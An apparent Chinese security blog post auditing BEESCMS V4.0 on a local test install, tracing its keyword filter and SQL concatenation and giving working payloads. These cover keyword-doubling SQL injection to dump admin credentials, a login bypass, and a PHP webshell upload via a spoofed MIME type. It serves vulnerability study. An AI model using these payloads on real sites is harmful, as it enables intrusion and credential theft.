beescms代码审计

web安全的本质最终还得回归到代码层面.
本专栏博客主要通过复现历史cms的漏洞,来学习,了解以及总结cms中最容易出问题的功能代码.

BEESCMS代码审计

[toc]

前言

官网地址:http://www.beescms.com/

如官方所言,beescms的优点如下

PHP+MYSQL,多语言系统,内容模块易扩展,模板风格多样化,模板制作简单功能强大,专业SEO优化,后台操作方便,完全可以满足企业网站、外贸网站、事业单位、教育机构、个人网站使用。

审计工具

seay源代码审计系统
phpstudypro
phpstrom
chrome
beescms 版本V4.0_R_20150708

0x01 后台登录界面sql注入

代码分析

漏洞代码位于admin/login.php中第40行的elseif($action=='ck_login').

image-20211115131448747

首先将$_POST['user']以及$_POST['password']传入的值传递给fl_value()函数,跟进这个函数,其位于includes/fun.php,具体内容如下:

image-20211115131934091

function fl_value($str){
	if(empty($str)){return;}
	return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
r|outfile/i','',$str);
}

可以看到这个函数使用preg_replace的方法对传入的值中的sql铭感关键字进行了替换.

fl_value()外面的函数fl_html()的具体内容为

function fl_html($st){
	return htmlspecialchars($st);
}

其主要目的对传入的值使用htmlspecialchars()函数,在一定程度上预防了用户的xss.

继续跟进login.php,在59行发现check_login()函数,跟进,函数体在includes/fun.php中的第970行。其具体内容为

image-20211115133743184

可以看到在971行,直接将传入的$user进行了数据库语句拼接:

$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");

结合前面的的fl_value(),可以使用双写绕过从而造成sql注入.

漏洞利用

一 报错注入

输入单引号回回显sql报错语句,于是这里尝试使用报错注入

image-20211115141944516

根据上面fl_value的替换,构造payload:

1' uni union on selselectect extractvalue(1,concat(0x7e,(selselectect @@version),0x7e))#

image-20211115142645430

# 爆表名
1' uni union on selselectect extractvalue(1,concat(0x7e,(selselectect group_concat(table_name) fr from om information_schema.tables wh where ere table_schema like database()),0x7e))#
# 爆字段名
1' uni union on selselectect extractvalue(1,concat(0x7e,(selselectect group_concat(column_name) fr from om information_schema.columns wh where ere table_schema like database() an and d table_name like 'bees_admin'),0x7e))#

其实上两步可以忽略,因为报错信息已经给出了关键表名和字段名

# 爆内容
## 用户名
1' uni union on selselectect extractvalue(1,concat(0x7e,(selselectect admin_name fr from om bees_admin),0x7e))#
PATH syntax error: '~admin~'


## 密码
1' uni union on selselectect extractvalue(1,concat(0x7e,(selselectect admin_password fr from om bees_admin),0x7e))#
PATH syntax error: '~21232f297a57a5a743894a0e4a801fc'
从这里可以看到其实返回结果并不完全,使用right()函数获取未显示部分
1' uni union on selselectect extractvalue(1,concat(0x7e,(selselectect right((selselectect admin_password fr from om bees_admin),10)),0x7e))#
PATH syntax error: '~0e4a801fc3~'
最终结果:21232f297a57a5a743894a0e4a801fc3
解密结果:admin

二 任意密码登录

check_login()中可以看到会将用户的输入的密码进行md5加密后在与数据库查询结果进行比较.

$password=md5($password);
	if($password!=$rel['admin_password']){
		msg("输入的密码不正确");
	}
	if($rel['is_disable']){
		msg('该账号已经被锁定,无法登陆');
	}

这里可以通过注入从而实现任意密码登录,前提得有一个已知用户名,构造payload:

用户名为:admin' a and nd 0 uni union on selselectect 1,2,md5('123'),1,0;#
密码为:123

image-20211115155644431

可以看到成功跳转,绕过登录

0x02 后台目录sql注入

代码分析

漏洞代码位于admin/admin_catagory.php中的第162行.

image-20211115170507090

可以看到这里进行了一次sql语句拼接,跟踪以下遍历$parent.其定义在当前文件的第16行

image-20211115170652305

可以看到这里是直接将$_REQUEST['parent']接收到的值拼接到了sql语句,没有进行任何过滤,从而造成sql注入.

漏洞利用

登录后台,访问http://localhost/beescms/admin/admin_catagory.php/?parent=1%27

image-20211115171051851

利用报错注入拿以下数据库文件的存储路径http://localhost/beescms/admin/admin_catagory.php?parent=1%20union%20select%20extractvalue(1,concat(0x7e,@@datadir,0x7e))#

image-20211115171438368

直接上sqlmap也行,这里就不再做演示了。

0x04 后台留言删除处存在sql注入

漏洞分析

漏洞代码位于admin/admin_book.php中第100行

image-20211115201324668

可以看到这行是一个sql语句,变量$v来自$_POST['all'],且未对传入内容进行任何判断,存在恶意用户构造恶意参数造成sql注入

漏洞利用

这里使用报错注入得到数据库用户名

image-20211115201740928

0x05 后台任意文件上传

代码分析

漏洞代码位于admin/upload.php中的第36行中的if语句

image-20211115160459547

36-43行主要判断了是否上传上传文件以及设置一些初始属性,核心漏洞代码在第44行,可以看到是将传入的文件带入了一个叫up_img()的函数,跟进这个函数。其函数体在includes/fun.php第571行

image-20211115163316558

调试发现,其对上传的只使用了一个in_array()判断MIME

image-20211115163206696

所以可以使用bp抓包修改MIME进行绕过。

漏洞利用

对上传文件进行抓包,修改Content-Typeimage/png

image-20211115163737723

放行包,回到上传文件加,可以看到此时多了一个文件,上传成功.

image-20211115164135676

访问,http://localhost/beescms/upload/img/202111151640275039.php,成功执行代码

image-20211115164308004

0x06 总结

上手的第一个cms,能看出15年那时开发人员的安全意识还是较弱。

此cms出现的问题主要为sql注入,问题产生的主要原因为:后端未对用户传入的参数进行合理判断以及处理,甚至还出现了直接将用户的输入拼接到sql语句.

0x07 参考

https://xz.aliyun.com/t/10480